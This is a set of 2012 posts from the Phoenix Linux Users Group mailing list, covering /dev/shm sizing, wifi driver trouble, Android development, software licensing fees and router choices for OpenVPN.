Re: OT: Time for substantive change.
And what does this thread have to do with LINUX? Mark On Wed, Nov 14, 2012 at 5:36 PM, JD Austin j...@twingeckos.com wrote: AND once you sign ANY petition there (which has about as much weight as an idea) they spam the heck out of you with more petitions to sign.. no thanks! On Wed, Nov 14, 2012 at 4:30 PM, Wayne Davis wayda...@centurylink.netwrote: On 11/14/2012 04:10 PM, j...@actionline.com wrote: The Declaration of Independence states: Governments are instituted among men, deriving their just powers from the consent of the governed, that whenever any form of government becomes destructive of these ends, it is the Right of the People to alter or abolish it, and institute new Government. Over the past few days, petitions have been started in all 50 states to secede from this now marxist-socialist union. The rate at which signatures are being added to these petitions makes it very clear that this is no joke. Click the link below to sign the petition: - - - http://wh.gov/9mNz - - - Note: If you live in a state other than Arizona, google to find the active petition in your state. A petition is under way in and for every state. At this point, you only need to sign up with your first name, last initial, and zip code. It's quick and easy. Let your voice be heard. --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings:http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss You *do* realize there is really NO provision for states to break away right? This whole petition thing is bogus. --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: fill out forms
The reviews for pdfescape firefox addon are not that good, and it does not open pdf files on your file system. They have to be links on a page. Not very useful for pdf's sent to you via email. As I get older, I get more paranoid, so I don't really trust my business documents with an online service. In my more rational moments, I wonder why anyone would want to read my business documents..but that is a conversation with myself for another time...;) Mark On Wed, Oct 17, 2012 at 12:26 PM, Lisa Kachold lisakach...@obnosis.comwrote: Hi Mike: On Wed, Oct 17, 2012 at 10:46 AM, Michael Havens bmi...@gmail.com wrote: I frequently get forms I need to fill out in PDFs. I hat printing them to fill them out and then needing to scan to email the form to the person that needs the said form. Is there like a program or website I can open a pdf in that will allow me to fill it out on my computer? :-)~MIKE~(-: Plugins for Firefox can provide pdf form editing. https://addons.mozilla.org/en-US/firefox/addon/pdfescape-extension/ -- (503) 754-4452 Android (623) 239-3392 Skype (623) 688-3392 Google Voice ** it-clowns.com Chief Clown --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Need help with /dev/shm
I have been having some issues with an old server running a jsp applicaition (tomcat web server and java 1.5I said it was old!). I looked at the partitions and found: Last login: Sun Sep 9 11:57:49 2012 from 192.168.25.150 mark@gandalf:~$ df -h Filesystem Size Used Avail Use% Mounted on /dev/hda6 110G 61G 44G 58% / tmpfs 63M 0 63M 0% /dev/shm /dev/hda1 30M 7.3M 21M 27% /boot mark@gandalf:~$ tmpfs or /dev/shm is at 0%. Usually, a zero anywhere is bad thing;) so should I do something about this? I goolged /dev/shm and understand that it is a ram disk for interprocess communications. Wonderful. Should I be worried it is at 0% Should I increase the size? Running top shows these resources in the system Tasks: 60 total, 1 running, 59 sleeping, 0 stopped, 0 zombie Cpu(s): 1.0% us, 0.3% sy, 0.0% ni, 98.4% id, 0.0% wa, 0.3% hi, 0.0% si Mem: 127152k total, 124740k used, 2412k free, 6896k buffers Swap: 489940k total, 0k used, 489940k free, 45500k cached If I should increase the size of /dev/shm, would I edit fstab and add this line none /dev/shm tmpfs defaults,size=8G 0 0 and then mount -o remount /dev/shm Thanks, Mark P.S. The issues I am having with the application may have nothing to do with this situation...could be some bad programmingie a bug. P.P.S. I am running Linux version 2.6.8-2-386 ( ho...@tabatha.lab.ultramonkey.org) (gcc version 3.3.5 (Debian 1:3.3.5-13)) (yes, I said it was old) Consider it my contribution to keeping old hardware out of the dump! --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Need help with /dev/shm
Lisa, Thank-you for your fast response. Now, do I get the award for the absolutely dumbest question to every be posted to the plug list? My award should be banishment to the world of Windoze. My apologies for wasting everyone's time... :( Mark On Sun, Sep 9, 2012 at 1:25 PM, Lisa Kachold lisakach...@obnosis.comwrote: Hi Mark, On Sun, Sep 9, 2012 at 12:50 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I have been having some issues with an old server running a jsp applicaition (tomcat web server and java 1.5I said it was old!). I looked at the partitions and found: Last login: Sun Sep 9 11:57:49 2012 from 192.168.25.150 mark@gandalf:~$ df -h Filesystem Size Used Avail Use% Mounted on /dev/hda6 110G 61G 44G 58% / tmpfs 63M 0 63M 0% /dev/shm /dev/hda1 30M 7.3M 21M 27% /boot mark@gandalf:~$ tmpfs or /dev/shm is at 0%. Usually, a zero anywhere is bad thing;) so should I do something about this? This is 63M with 0 used above. You can expand it for better performance, but I doubt that your utilization issues are /dev/shm kernel intermessage processing related. In a J2EE system, it would be memory, garbage collection, or a kernel based known memory error. But if you are running Ultramonkey or a databasae, you could use all of /dev/shm during heavy network use, so you can easily expand /dev/shm (see below). Reference: http://www.cyberciti.biz/tips/what-is-devshm-and-its-practical-usage.html I goolged /dev/shm and understand that it is a ram disk for interprocess communications. Wonderful. Should I be worried it is at 0% Should I increase the size? Running top shows these resources in the system Tasks: 60 total, 1 running, 59 sleeping, 0 stopped, 0 zombie Cpu(s): 1.0% us, 0.3% sy, 0.0% ni, 98.4% id, 0.0% wa, 0.3% hi, 0.0% si Mem: 127152k total, 124740k used, 2412k free, 6896k buffers Swap: 489940k total, 0k used, 489940k free, 45500k cached If I should increase the size of /dev/shm, would I edit fstab and add this line none /dev/shm tmpfs defaults,size=8G 0 0 and then mount -o remount /dev/shm You can use /dev/shm to improve the performance of applicationhttp://www.cyberciti.biz/tips/what-is-devshm-and-its-practical-usage.html#software such as Oracle or overall Linux system performancehttp://www.cyberciti.biz/tips/what-is-devshm-and-its-practical-usage.html#. On heavily loaded system, it can make tons of difference. For example VMware workstation/server can be optimized to improve your Linux host's performance (i.e. improve the performance of your virtual machines). In this example, remount /dev/shm with 8G size as follows: # mount -o remount,size=8G /dev/shm To be frank, if you have more than 2GB RAM + multiple Virtual machineshttp://www.cyberciti.biz/tips/what-is-devshm-and-its-practical-usage.html#, this hack always improves performance. In this example, you will give you tmpfs instance on /disk2/tmpfs which can allocate 5GB RAM/SWAP in 5K inodes and it is only accessible by root: # mount -t tmpfs -o size=5G,nr_inodes=5k,mode=700 tmpfs /disk2/tmpfs Where, - *-o opt1,opt2 * : Pass various options with a -o flag followed by a comma separated string of options. In this examples, I used the following options: - *remount* : Attempt to remount an already-mounted filesystem. In this example, remount the system and increase its size. - *size=8G or size=5G* : Override default maximum size of the /dev/shm filesystem. he size is given in bytes, and rounded up to entire pages. The default is half of the memory. The size parameter also accepts a suffix % to limit this tmpfs instance to that percentage of your pysical RAM: the default, when neither size nor nr_blocks is specified, is size=50%. In this example it is set to 8GiB or 5GiB. The tmpfs mount options for sizing ( size, nr_blocks, and nr_inodes) accept a suffix k, m or g for Ki, Mi, Gi (binary kilo, mega and giga) and can be changed on remount. - *nr_inodes=5k* : The maximum number of inodes for this instance. The default is half of the number of your physical RAM pages, or (on a machine with highmem) the number of lowmem RAM pages, whichever is the lower. - *mode=700* : Set initial permissions of the root directory. - *tmpfs* : Tmpfs is a file system which keeps all files in virtual memory. *How do I restrict or modify size of /dev/shm permanently?* You need to add or modify entry in /etc/fstab file so that system can read it after the reboot. Edit, /etc/fstab as a root user, enter: # vi /etc/fstab Append or modify /dev/shm entry as follows to set size to 8G none /dev/shmtmpfs defaults,size=8G0 0 Save and close the file. For the changes to take effect immediately remount /dev/shm: # mount -o remount /dev/shm Thanks, Mark P.S. The issues I am having with the application may have nothing
Re: networking down
Michael, After the update, did you reboot the computer? If not, then the updates did not take effect until you turned off your computer. If the upgrade changed your kernel, then your wifi drivers may need to be updated. Mark On Jul 21, 2012 6:08 PM, Michael Havens bmi...@gmail.com wrote: lspci to get the wifi chip?? also What happened to the driver I didn't do anything different than I usually do beside turning the computer off. On Sat, Jul 21, 2012 at 5:55 PM, Stephen cryptwo...@gmail.com wrote: That looks to be the issue. Best fix i can think of is to Google your wifi chip and see what drivers you cab find On Jul 21, 2012 4:46 PM, Michael Havens bmi...@gmail.com wrote: I wonder if my network driver got hosed?I'm looking at the 'Wireless Network Drivers' window and nothing is listed under 'Currently Installed Windows Drivers:' When I click 'Configure Network' Network Connections window and nothing is listed. Everything is grayed out. When I click 'add' everything is grayed out. On Sat, Jul 21, 2012 at 3:29 PM, Michael Havens bmi...@gmail.comwrote: Yeahhh thanks Stepan. Which file do I inspect? Was 'lofs' a missepell of 'logs'? On Sat, Jul 21, 2012 at 3:26 PM, Stephen cryptwo...@gmail.com wrote: Most any Ubuntu or its relatives uses /var/logs On Jul 21, 2012 3:23 PM, Michael Havens bmi...@gmail.com wrote: I can't find the logs where are they, please? On Sat, Jul 21, 2012 at 3:21 PM, Michael Havens bmi...@gmail.comwrote: lofs? On Sat, Jul 21, 2012 at 3:18 PM, Stephen cryptwo...@gmail.comwrote: I did not know that part. I wojld look into lofs. They will likely have clues and answers On Jul 21, 2012 3:17 PM, Michael Havens bmi...@gmail.com wrote: but the network was up for a week. On Sat, Jul 21, 2012 at 2:21 PM, Stephen cryptwo...@gmail.comwrote: logs are going to be your best bet of finding out anything. to me it sounds like your upgrade ate your wlan drivers. On Sat, Jul 21, 2012 at 12:07 PM, Michael Havens bmi...@gmail.com wrote: Everything was working great on my laptop and then I up graded. Well, everything ran great still for about a month but then I shut my computer down and then the next day I start my computer again but as it is booting am told 'waiting for network configuration...' Then 'Waiting up to 60 more seconds for network configuration...' Then the login screen appears. I login but the network is still down until I open a terminal and type: ifconfig wlan0 up Well, The little blue networking light comes on when I type ifconfig but no pages will load and I can't rsync so I guess it doesn't work still. I know it isn't the card because another OS I have on the computer acts normally when it is loaded. Could someone tell me what is going on? -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- A mouse trap, placed on top of your alarm clock, will prevent you from rolling over and going back to sleep after you hit the snooze button. Stephen --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- :-)~MIKE~(-: -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- :-)~MIKE~(-: -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail
Re: OT: Android Dev Questions
Gmail seems to have a problem with inline answers today, so I will add them here... 1. What is the life expectancy of Android? Will it be around 15 years from now? I haven't a clue. I hope I am around 15 years from now! ;) 2. How hard is it to upgrade a phone to a newer version of Android? If your carrier wants to upgrade the phone, then they will send you an upgrade package OTA and your phone will upgrade. If you want to upgrade manually, then you will have to root your phone and apply the upgrade manually. Just google for your phone type and the upgrade you want. Generally speaking, US carriers don't want to spend the time upgrading phones - they want you to buy a new one because they subsidize part of the cost to get you to buy a plan. In Europe, you pay the full price for the phone, so you can upgrade it as you wish. As a result, the versions change slowly - 86.7% of the phones out there are at version 2.3.3, and version 4 was just released. This percentage would be even higher if it weren't for tablets (versions 3 and 4 added a lot of tablet stuff). 1. Are there any compatibility issues? Yes and no. Some older early Android hardware will have problems with the newer android versions, but for the most part they are supposed to be backward compatible. The big moving target is screen resolution - ie tablets versus larger screen phones. It takes some ui redesign to move from a small screen to a giant one, and to be compatible with all of them. However, the underlying non-ui parts are the same. 2. How does one monetize Android application development skills? Write a killer app and sell it. ;) The google market is huge, so it is harder to get noticed (ie rated and found), and there is no easy way to talk to anyone at google about issues with your account. However, other markets exists - amazon looks promising, but I believe they take a larger cut, but provide better customer support. Of course, if your app is free, it does not matter. 3. Where can I find quality used Android phones? I am not sure what quality means, but in the usual places - craig's list, ebay, etc. Friends as well.it does not take much time to download an app run it and then remove it. The Android SDK comes with a good emulator, so you can catch lots of issues with that tool. Again, the biggest issue I have found is varying screen resolutions and making sure everything looks right. The emulator helps, and I have not found a need to have every phone on the market in my possession to test. There are also testing services you can use - some free and some for pay. 4. What device would you recommend I use to learn Android development – Phone, Tablet, Simulator? Start with the SDK and the emulator. Also, take a look at this page - http://developer.android.com/about/dashboards/index.html to see where to target your development. Then read the android developer docs - they are very very good. Depending on how you learn, you may want to pick up a book or two, but they are totally out of date except for the basics. Another good source is http://commonsware.com/mmurphy. You can pay for the e-book and get all the updates and changes for a year. Mark Murphy hangs out in the developer forum and provides very good answers to questions, especially for newbies. Hope that helps.and no, I have not created any killer apps yet so I can retire on the millions in royalty checks from google...so YMMV! Good luck! Mark On Tue, Jul 10, 2012 at 6:27 AM, keith smith klsmith2...@yahoo.com wrote: Posted to PLUG, TFUG, AzPHP I wondering about trends. Currently I make my living as a LAMP developer. The market seems strong and lots of main stream apps are built with PHP. So I expect the market to continue to be strong for 10 – 15 years. That is the time frame I am interested in. Things are moving rather fast now. Cheap hardware is now a reality. It looks like a smart phone has more CPU and RAM than the laptop I bought 10 year ago, and the desktop I bought 7 year ago. I think I saw a smart phone that had a dual core 1.5ghtz processor and a gig of RAM. My first 2 computers didn't even have hard drives.. I'm intrigued by Android development. Seems there is really only one option and that is the Android SDK that is modified Java. I don't find Java to be intuitive, however I can live with it. My main question has to do with compatibility. A friend tells me he thinks there are comparability issues between manufactures since they modify Android to met their needs and the lack of standards. After exchanging emails, it sounds like writing Android code is like writing JavaScript that needs to run in all the currently available browsers. We have JavaScript solutions – MooTools, jQuery … etc. However in the short time I've been looking at Android
Re: OT: Software Licensing Fees
I agree with JD. 1. Take a look at what exists today and negotiate a maintenance contract just for that. Any new features beyond what is there today will entail (1) a development cost and (2) a maintenance cost for those features. You may decide to include the maintenance on a new feature is so small it will be part of the current maintenance contract, but all new features need to be paid for. 2. Finally, spend you free time figuring out how to automate the maintenance of what you already have, (ie whatever it takes to reduce the amount of time you spend on maintenance) and make those changes so the time spend on maintenance goes down. Mark On Tue, Jul 10, 2012 at 8:23 AM, JD Austin j...@twingeckos.com wrote: Hi Pete, First of all 'Adding new features' is NOT maintenance; did you agree to implementing new features as part of your maintenance agreement?. $15/hour is not even close to industry standard. You are correct.. it is not worth the time you're spending on it. I would immediately 're-clarify' what you're willing to do for the small amount they're paying you; specifically stop creating new features and only maintain what you've already created (bug fixes and OS related updates only) . If they want more then it's time to re-negotiate. I understand with glaring clarity that I'm am replaceable and know making demands never works. Anyone they bring in will have to climb the learning curve of the code you've created; you're not as replaceable as you think. I would say don't make threats or demands... just be open and honest with them about it. If it were me I would simply state that while you've added new features without demanding additional compensation in the past that doing so has become a barrier to the success of your business due to the increasing amount of time involved and that you can no longer continue to do so. Say you'll continue to support the application you've created for them as agreed for the price agreed but that support does not include implementing new features. Don't feel too bad... I've made the same mistake you have Pete... I tried to be 'the low price leader' for way too long :) Charge at least 7 - 10 times what you're charging them; think 'if I had to take myself out of the equation how much would I have to spend on a competent programmer to do so' (salary.com is a good indicator). I too was stuck in a situation where I couldn't even hire someone to take over the work that was killing my business; bad situation to be in :( JD On Mon, Jul 9, 2012 at 11:52 PM, AZ Pete p...@cactusfamily.com wrote: Hi All, First of all thanks to those folks who responded with some helpful points. To clarify some of the questions asked: I understand with glaring clarity that I'm am replaceable and know making demands never works. Over the years, the company's revenue has increased. But also over the years, I've spent more time adding features. It was probably my fault for not clearly detailing how much time I'd spend adding features functionality versus just maintaining the existing application. Last year I did a bit of calculation on how much time I spend on maintaining and improving the application versus my percentage of revenue compensation and I came to a rate of about $15/hour. While in the very beginning of this project, I did it more for the learning of building a large application and the money was a nice side job. But now, it seems the hours got longer (due to significantly increased code base) and the pay didn't keep pace. At ~$15/hr it's just not worth the time to keep staying on the project. However, to get the compensation to a more market-rate level seems very difficult. The revenues for this business market (its academia government) has been going steady down (the owner must keep lowering bids each year to get a contract). Looking at the numbers coming in, if he had to pay me a market-rate for programming, his IT budget would double or more and the business would go under. Which leads me to think that perhaps this isn't a viable business anymore if one can't make enough income to cover the costs of infrastructure. Maybe it's time to let this one go... Thanks for letting me rant! Peter On 7/9/2012 8:01 PM, Mark Phillips wrote: I don't quite understand what is going on. Has their gross revenue remained flat for all these years, do you are not making add much as before? Or, are you now thinking that the percentage is too low? Are you spending more time maintaining their servers and performing updates than when you started? Are you creating new functionality for them? Mark On Jul 9, 2012 7:16 PM, AZ Pete p...@cactusfamily.com wrote: Hi All, I'm in a bit of a quandary about fees I'm receiving from a long time client and thought I'd tap the PLUG brain-trust to get some input. This situation is this: A few years ago I developed a PHP application that a client uses to run
Re: OT: Software Licensing Fees
I don't quite understand what is going on. Has their gross revenue remained flat for all these years, do you are not making add much as before? Or, are you now thinking that the percentage is too low? Are you spending more time maintaining their servers and performing updates than when you started? Are you creating new functionality for them? Mark On Jul 9, 2012 7:16 PM, AZ Pete p...@cactusfamily.com wrote: Hi All, I'm in a bit of a quandary about fees I'm receiving from a long time client and thought I'd tap the PLUG brain-trust to get some input. This situation is this: A few years ago I developed a PHP application that a client uses to run their business (its a typical LAMP platform). Without getting into tedious details, this software application is used to run their entire business. It is understood that the software ownship resides with me and they are paying for its use - licensing it, if you will. At the start of this project, we agreed upon a certain percentage of gross revenue that I would receive as payment for use of this software. In return, I would maintain the software, provide various updates or additions, and some light server admin work to keep the application running. This arrangement has been working quite well and the business relationship is excellent. However, I feel now that the percentage I receive is too low (it hasn't been changed since the start of this venture). I have broached the subject of having to update our arrangement, but was met with some resistance. I wanted to ask fellow consultants/contractor/software devs what is the going rate for such an arrangement. Namely, if you are licensing a software product to a client for their use, what is a reasonable percentage of gross revenue a business should expect to pay. Especially, a software product that is the core component of their business without which the business wouldn't exist. Any thoughts would be *very* appreciated. Thanks, Peter --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Looking for Router Suggestions
James, It sounds like a fun project! I am very tempted... However, I found this one - https://www.flashrouters.com/netgear-wnr3500l-ddwrt-router.php for $80. It has wireless, but I can just turn it off. A 480 MHz processor, and dd-wrt installed and tested with openvpn. I haven't priced out your parts list, but I would be surprised if it comes to less than $80. Also, I think the netgear router will consume less power and space in my crowded cable closet (aka the top shelf in my cupboard). Answers to your questions - I need a total of 20 gigabit LAN ports for my network. Currently, I have two 8 port gigabit switches, and 4 10/100 ports on my current BEFSX41 router. I want to upgrade the router for open vpn, and gigabit speeds. So the router is also a switch. What is the advantage of running the whole thing virtualized? But still, the fun of building this little project may outweigh the high costs ($ and amps). Mark On Thu, Jul 5, 2012 at 11:10 PM, James Dugger james.dug...@gmail.comwrote: MSI Micro ATX board with Athlon II processor w/ 4 PCI slots (or 2 PCI and 2 PCIE) 2 GB RAM 4 gigabit NIC cards IDE or SATA to Compact Flash Adaptor Compact flash 2GB memory - install Linux or Router based distro on CF card or USB memory stick External power 120v to 12v transformer w/ mono power converter Small micro case Set BIOS to boot CF Card or USB Memory stick Ubuntu 10.04 or 12.04 LTS server minimum install - Install Openssh - Firewall - OpenVPN - iptables Basically you are building an edge router/vpnserver. There are a lot of instructions to build a high end router/openvpn system using a minimum box configuration. The mobo chip and RAM maybe overkill but smaller ATOM based boards probably won't have 4 PCI slots. you should be able to pick up these for very reasonable cost compared to a higher end router. Do you need all 4 - 1 gigabit connections to the router or can the connections to the VPN be shared off of one or two NICs? OpenVPN needs a minimum of 2 NIC's (Unless you have set up virtual network adaptors and bridged them together). Are you dedicating each user to a NIC for speed? If not you could allocate the 4 users to a NIC and connect the router/vpnserver to a 4 port gigabit switch. I'm sure there are a number of the ways to do this and there even might be fairly high end router for a good deal but most will also have built in wireless as well. to find a dedicated wired only higher end router you may pay as much as the system I just outlined and it would be no where near the capabilities of the above system unless it was a lot more expensive. I'm sure that there are others here with a lot more experience with consumer and enterprise level equipment then myself but I have had success with the above. Also keep in mind that the Athlon II is 64bit with SVM built in for virtualization. With additional memory you could run the whole thing virtualized using KVM or VMware. Good Luck! On Thu, Jul 5, 2012 at 7:53 PM, Mark Phillips m...@phillipsmarketing.bizwrote: I am looking for a router with the following characteristics: * No wifi * 4 gigabit LAN ports * 1 WAN port to connect to my Cox Cable Modem * 400 MHZ+ processor so I can run OpenVPN SSL for a max of 4 remote users to access the LAN at the same time. The last point comes from reading various forums about running openvpn on the router, and they all say get the fastest possible cpu. I probably have to run dd-wrt on the router to get openvpn running on the router, but I am open to other options (most of the open source router packages support openvpn, so anyone will do). Thanks! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- James --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Looking for Router Suggestions
Larry, I queried FlashRouters if they require any vpn or dynamic dns services, or if they modify the dd-wrt firmware in any way, and got this response: VPN and DNS service are not required at all, however it is quite simple to integrate them with DD-WRT routers. We load tested, stable DD-WRT builds onto the device, we do not modify the actual firmware. Have you had a bad experience with FlashRouters? Mark On Fri, Jul 6, 2012 at 12:25 PM, Dazed_75 lthiels...@gmail.com wrote: Be sure to look at the fine print. They are setting that router to work with a specific provider of what I think is dynamic DNS and offer special encryption at fee that can come to about $10/month. On Fri, Jul 6, 2012 at 10:34 AM, Mark Phillips m...@phillipsmarketing.biz wrote: James, It sounds like a fun project! I am very tempted... However, I found this one - https://www.flashrouters.com/netgear-wnr3500l-ddwrt-router.php for $80. It has wireless, but I can just turn it off. A 480 MHz processor, and dd-wrt installed and tested with openvpn. I haven't priced out your parts list, but I would be surprised if it comes to less than $80. Also, I think the netgear router will consume less power and space in my crowded cable closet (aka the top shelf in my cupboard). Answers to your questions - I need a total of 20 gigabit LAN ports for my network. Currently, I have two 8 port gigabit switches, and 4 10/100 ports on my current BEFSX41 router. I want to upgrade the router for open vpn, and gigabit speeds. So the router is also a switch. What is the advantage of running the whole thing virtualized? But still, the fun of building this little project may outweigh the high costs ($ and amps). Mark On Thu, Jul 5, 2012 at 11:10 PM, James Dugger james.dug...@gmail.comwrote: MSI Micro ATX board with Athlon II processor w/ 4 PCI slots (or 2 PCI and 2 PCIE) 2 GB RAM 4 gigabit NIC cards IDE or SATA to Compact Flash Adaptor Compact flash 2GB memory - install Linux or Router based distro on CF card or USB memory stick External power 120v to 12v transformer w/ mono power converter Small micro case Set BIOS to boot CF Card or USB Memory stick Ubuntu 10.04 or 12.04 LTS server minimum install - Install Openssh - Firewall - OpenVPN - iptables Basically you are building an edge router/vpnserver. There are a lot of instructions to build a high end router/openvpn system using a minimum box configuration. The mobo chip and RAM maybe overkill but smaller ATOM based boards probably won't have 4 PCI slots. you should be able to pick up these for very reasonable cost compared to a higher end router. Do you need all 4 - 1 gigabit connections to the router or can the connections to the VPN be shared off of one or two NICs? OpenVPN needs a minimum of 2 NIC's (Unless you have set up virtual network adaptors and bridged them together). Are you dedicating each user to a NIC for speed? If not you could allocate the 4 users to a NIC and connect the router/vpnserver to a 4 port gigabit switch. I'm sure there are a number of the ways to do this and there even might be fairly high end router for a good deal but most will also have built in wireless as well. to find a dedicated wired only higher end router you may pay as much as the system I just outlined and it would be no where near the capabilities of the above system unless it was a lot more expensive. I'm sure that there are others here with a lot more experience with consumer and enterprise level equipment then myself but I have had success with the above. Also keep in mind that the Athlon II is 64bit with SVM built in for virtualization. With additional memory you could run the whole thing virtualized using KVM or VMware. Good Luck! On Thu, Jul 5, 2012 at 7:53 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I am looking for a router with the following characteristics: * No wifi * 4 gigabit LAN ports * 1 WAN port to connect to my Cox Cable Modem * 400 MHZ+ processor so I can run OpenVPN SSL for a max of 4 remote users to access the LAN at the same time. The last point comes from reading various forums about running openvpn on the router, and they all say get the fastest possible cpu. I probably have to run dd-wrt on the router to get openvpn running on the router, but I am open to other options (most of the open source router packages support openvpn, so anyone will do). Thanks! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- James --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
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Eric, I agree with all that you wrote. However, * I don't have a spare P3 * I have some old laptops, but no dual nic ones * I don't have space in my cable shelf to anything bigger than my current BEFSX41 firewall/router * The shelf is up high in a rather warm room and the 2 switches, and it gets a little toasty in there in the summer. A real computer is the best technical solution, but not feasible in my set up. Thanks for the idea! Mark On Fri, Jul 6, 2012 at 5:19 PM, Eric Shubert e...@shubes.net wrote: I run IPCop as a VM (presently VMware, soon to be KVM). IPCop has everything you're looking for in a prebuilt distro. Any ol' PentiumIII or greater should do, with 2 nics. IPCop provides all of the network services you'll likely ever need, and then some. You really only need 2 nics (WAN/LAN) on the firewall. I think it'd be more appropriate (easier, cheaper) to add another GigE switch to what you have. They can be chained together of course. On 07/05/2012 11:10 PM, James Dugger wrote: MSI Micro ATX board with Athlon II processor w/ 4 PCI slots (or 2 PCI and 2 PCIE) 2 GB RAM 4 gigabit NIC cards IDE or SATA to Compact Flash Adaptor Compact flash 2GB memory - install Linux or Router based distro on CF card or USB memory stick External power 120v to 12v transformer w/ mono power converter Small micro case Set BIOS to boot CF Card or USB Memory stick Ubuntu 10.04 or 12.04 LTS server minimum install - Install Openssh - Firewall - OpenVPN - iptables Basically you are building an edge router/vpnserver. There are a lot of instructions to build a high end router/openvpn system using a minimum box configuration. The mobo chip and RAM maybe overkill but smaller ATOM based boards probably won't have 4 PCI slots. you should be able to pick up these for very reasonable cost compared to a higher end router. Do you need all 4 - 1 gigabit connections to the router or can the connections to the VPN be shared off of one or two NICs? OpenVPN needs a minimum of 2 NIC's (Unless you have set up virtual network adaptors and bridged them together). Are you dedicating each user to a NIC for speed? If not you could allocate the 4 users to a NIC and connect the router/vpnserver to a 4 port gigabit switch. I'm sure there are a number of the ways to do this and there even might be fairly high end router for a good deal but most will also have built in wireless as well. to find a dedicated wired only higher end router you may pay as much as the system I just outlined and it would be no where near the capabilities of the above system unless it was a lot more expensive. I'm sure that there are others here with a lot more experience with consumer and enterprise level equipment then myself but I have had success with the above. Also keep in mind that the Athlon II is 64bit with SVM built in for virtualization. With additional memory you could run the whole thing virtualized using KVM or VMware. Good Luck! On Thu, Jul 5, 2012 at 7:53 PM, Mark Phillips m...@phillipsmarketing.biz mailto:mark@**phillipsmarketing.bizm...@phillipsmarketing.biz wrote: I am looking for a router with the following characteristics: * No wifi * 4 gigabit LAN ports * 1 WAN port to connect to my Cox Cable Modem * 400 MHZ+ processor so I can run OpenVPN SSL for a max of 4 remote users to access the LAN at the same time. The last point comes from reading various forums about running openvpn on the router, and they all say get the fastest possible cpu. I probably have to run dd-wrt on the router to get openvpn running on the router, but I am open to other options (most of the open source router packages support openvpn, so anyone will do). Thanks! Mark --**- PLUG-discuss mailing list - plug-disc...@lists.plug.**phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us mailto:PLUG-discuss@lists.**plug.phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.**us/mailman/listinfo/plug-**discusshttp://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- James -- -Eric 'shubes' --**- PLUG-discuss mailing list - plug-disc...@lists.plug.**phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us To subscribe, 